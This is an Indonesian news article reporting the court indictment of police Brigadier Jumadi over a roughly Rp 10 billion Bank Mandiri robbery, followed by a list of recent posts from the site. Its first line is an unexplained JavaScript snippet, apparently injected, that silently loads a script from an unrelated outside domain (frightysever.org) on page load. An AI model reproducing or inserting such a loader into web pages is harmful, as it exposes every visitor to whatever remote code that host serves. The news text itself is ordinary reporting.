(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Brigadir Jumadi, Perampok Rp 10 M Didakwa Dua Pasal


BANJARMASIN, Masih ingat kejadian perampokan uang Bank Mandiri Cabang Tanjung  yang dilakukan oleh Brigadir Jumadi pada Kamis 4 Januari lalu. Uang Sekitar Rp 10 miliar yang diambil dari Mandiri Cabang Banjarmasin itu dirampok Brigadir asal Polres Tanjung, hingga diburu oleh Polda Kalsel.

Untuk mendakwa Brigadir Jumadi yang duduk di kursi pesakitan Pengadilan Negeri (PN) Banjarmasin, Selasa (3/4), Jaksa Penuntut Umum (JPU) Suwarti menggunakan dakwaan pasal berlapis.

Saat membacakan surat dakwaan, JPU Suwarti berargumen terdakwa Brigadir Jumadi telah memenuhi unsur-unsur tindak pidana pencurian dengan pemberatan atau perampokan yang terdapat dalam Pasal 365 ayat 1 dan ayat 2 KUHP.

Di hadapan majelis hakim yang diketuai Eddy Cahyono, JPU Suwarti mengatakan aksi perampokan yang dilakukan Brigadir Jumadi dan dibantu terdakwa lainnya, Yongky sebagaimana dalam unsur-unsur Pasal 365 ayat 1 dan ayat 2 KUHP, dengan ancaman pidana paling lama 9 tahun dan 15 tahun.

Dalam persidangan terbuka di PN Banjarmasin, JPU Suwarti juga membacakan kronologis perkara perampokan yang dilakukan Brigadir Jumadi dan rekannya, Yongky dengan menjerat driver Bank Mandiri Cabang Tanjung, Gugum bersama karyawan bank, Atika. Di bawah ancaman senjata api, aksi Brigadir Jumadi bersama Yongky terbilang mulus dengan melarikan uang hasil perampokan menggunakan mobil Toyota Avanza warna hitam berplat nomor DD 1182 KE.

Uang yang berhasil digasak Brigadir Jumadi bersama Yongky terdiri dari uang pecahan Rp 100 ribu sebanyak Rp 6 miliar dan pecahan Rp 50 ribu senilai Rp 4 miliar di seputaran jembatan Martapura. Dua karyawan Bank Mandiri Tanjung, Gugum pun diborgol dan dilakban mata dan mulut. Sedangkan, Atika juga dilakban kedua belah tangan, kaki, mulut dan matanya. Kedua korban ini kemudian ditinggalkan di Jalan Trikora, Banjarbaru. Hingga akhirnya, drama penangkapan terhadap Brigadir Jumadi dan Yongky berhasil dilakukan jajaran Polda Kalsel.

Sementara itu, kuasa hukum terdakwa Iwan Saputra mengakui dakwaan jaksa untuk langsung dijawab dengan nota keberatan (eksepsi). “Persidangan pada Selasa (10/4) depan, dilanjutkan dengan pemeriksaan saksi-saksi,” ucap Iwan Saputra,

Menariknya, saat memasuki ruangan sidang, terdakwa Brigadir Jumadi yang dihadiahi timah panas oleh polisi, tampak berjalan terpincang-pincang. Dia berjalan menggunakan tongkat bantu untuk mendengarkan pembacaan surat dakwaan dari JPU Suwarti. (ammar)

Reporter : Ammar
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

67 Ribu Warga Tak Lagi Ditanggung BPJS Kesehatan, Pemko Banjarmasin Upayakan Pengaktifan Kembali

KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More

9 jam ago

Janji Wali Kota Yamin Tertibkan Bangunan di Atas Sungai

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR menyoroti bangunan yang berdiri di… Read More

11 jam ago

MAFINDO Kalsel Bekali Guru di Banjarmasin Memahami Teknologi Kecerdasan Buatan

KANALKALIMANTAN.COM, BANJARMASIN - Membuka tahun 2026, Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan (Kalsel) menggelar… Read More

11 jam ago

Pengelolaan UNESCO Global Geopark Meratus Diperkuat

Saat ini Ada 17 Situs Geologi Utama, 50 Titik Potensial Masih Dikaji Read More

16 jam ago

Mereka Menanti Skatepark di Kota Seribu Sungai

KANALKALIMANTAN.COM, BANJARMASIN – Sudah lama para skater menanti kehadiran skatepark di Kota Banjarmasin. Pasalnya, Siring… Read More

17 jam ago

Cek Kondisi Kolam Renang Idaman Terkini, Ini Respon Komisi III DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Komisi III Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru turun melakukan pengecekan… Read More

1 hari ago

This website uses cookies.